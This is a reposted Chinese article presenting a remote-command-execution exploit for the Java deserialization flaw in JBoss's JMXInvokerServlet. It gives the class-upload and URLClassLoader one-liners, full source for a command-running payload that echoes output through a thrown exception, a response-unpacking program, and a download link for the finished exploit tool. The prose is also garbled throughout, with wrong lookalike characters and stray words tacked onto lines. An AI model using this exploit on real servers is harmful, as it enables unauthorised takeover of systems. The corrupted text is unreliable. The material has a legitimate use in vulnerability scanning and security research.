Java反序列化漏洞执行命令回显实现及Exploit下载

原文地址:http://www.freebuf.com/tools/88908.htmlhtml

 

本文原创做者:rebeyondjava

文中说起的部分技术、工具可能带有必定攻击性,仅供安全学习和教学用途,禁止非法使用!shell

0×00 前言安全

前段时间java 的反序列化漏洞吵得沸沸扬扬,从刚开始国外某牛的一个能够执行OS命令的payload生成器,到后来的经过URLClassLoader来加载远程类来反弹shell。可是后来公司漏扫须要加规则来识别这种漏洞,而客户的漏扫又时常会工做在纯内网的环境下,所以远程加载类的方法行不通。想到本身写一个利用工具,因而有了下面这篇文章(本文以JBOSS为例)。服务器

0×01目标app

1.   EXP只能利用服务器本机的资源,不能加载远程类。
2.   上传任意文件至任意目录。
3.   获取命令执行的回显内容。

0×02实现ide

EXP只能利用服务器本机的资源,不能加载远程类:函数

经过对漏洞成因分析能够得知,咱们只能经过链式调用来执行java语句。换句话说,咱们所想执行的语句必须能够写到一行里面,并且还不能带分号:( 其实这里很好突破,咱们只要把咱们想要执行的任意代码(不管有多长)在本地编译成class,而后把class字节码上传到服务器就能够了。而后问题又来了,怎么上传呢,上传到什么路径下面呢?上传能够经过FileOutputStream这个类来实现,上传路径就更简单了,直接给FileOutputStream传个“.”过去,上传到程序运行的当前目录下面,一句话代码:new FileOutputStream(“./payload.class”).write(new byte[]{0xXX,0xXX……})。上传的问题解决了,下面执行也就好办了,一句代码:java.net.URLClassLoader. getConstructor(java.net.URL[].class). newInstance(new java.net.URL[] {new java.net.URL("file:./")}). loadClass(“payload”). newInstance(“cmd.exe /c whoami”)。工具

这样就解决了咱们的两个目标,只利用服务器本机资源,不须要联网,能够上传任意文件至任意目录。学习

获取命令回显内容:

经过对JBOSS中invoker/JMXInvokerServlet的返回结果进行分析,得知返回的是一个 MarshalledValue对象,该对象封装了invoker/JMXInvokerServlet的返回值,若是执行过程当中有异常抛出,一个InvocationException对象就会封装在MarshalledValue对象里面。到这里思路就很明确了,java 的异常有个构造函数是能够传String参数的,咱们能够把第一步那个class文件中命令执行的结果做为参数构造一个Exception,而后在payload.class最后throw这个Exception,这样这个带有回显内容的Exception就会封装在MarshalledValue对象里面经过http协议返回,咱们只要把返回的MarshalledValue对象解包,就能够获取回显的内容了。

下面给出payload.java的源代码:

import java.io.BufferedReader; import java.io.InputStreamReader; public class RunCheckConfig {     public RunCheckConfig(String  args) throws Exception     {         Process proc = Runtime.getRuntime().exec(args);         BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));         StringBuffer sb = new StringBuffer();         String line;         while ((line = br.readLine()) != null)         {             sb.append(line).append("\n");         }         String result = sb.toString();         Exception e=new Exception(result);         throw e;         }     }

  解包程序的源代码:

public static void main(String args[]) throws Exception    {         FileInputStream fis = new FileInputStream("d:/response.bin");          byte TempByte[]=new byte[5000*1000];            int length=fis.read(TempByte);            int ClassStart=0;            for (int i=0;i<length;i++)            {             if (TempByte[i]==0x0d&&TempByte[i+1]==0x0a&&TempByte[i+2]==0x0d&&TempByte[i+3]==0x0a)             {                 System.out.println(i);                 ClassStart=i;                 break;             }            }            byte ClassByte[]=new byte[length-ClassStart-4];            for (int i=0;i<ClassByte.length;i++)            {             ClassByte[i]=TempByte[i+ClassStart+4];            }            fis.close();            TempByte=null;            ByteArrayInputStream ai=new ByteArrayInputStream(ClassByte);           ObjectInputStream ois = new ObjectInputStream(ai);            MarshalledValue st1 = (MarshalledValue) ois.readObject();           InvocationException o=(InvocationException) st1.get();           System.out.println(o.getTargetException().getCause().getCause().getCause().getMessage()); }

下面是解包后的截图:

0×03总结

到这里咱们本文的三个目标都已经完成了。

对于本文的初衷,如何让漏扫来判断是否存在漏洞,就更简单了,只要一句代码就能够了:new FileOutputStream("\u0000");,而后在返回内容里查找字符串“java.io.FileNotFoundException”,或者像咱们前面作的那样,解包而后判断exception的类型是否是java.io.FileNotFoundException。

另外,附上该Exploit的成品截图及下载地址,仅供研究,请勿用于任何非法活动:

下载地址:连接:http://share.weiyun.com/2d8bac0d1a61378f5b0be06a42eca962 (密码:Po4i)

相关文章
相关标签/搜索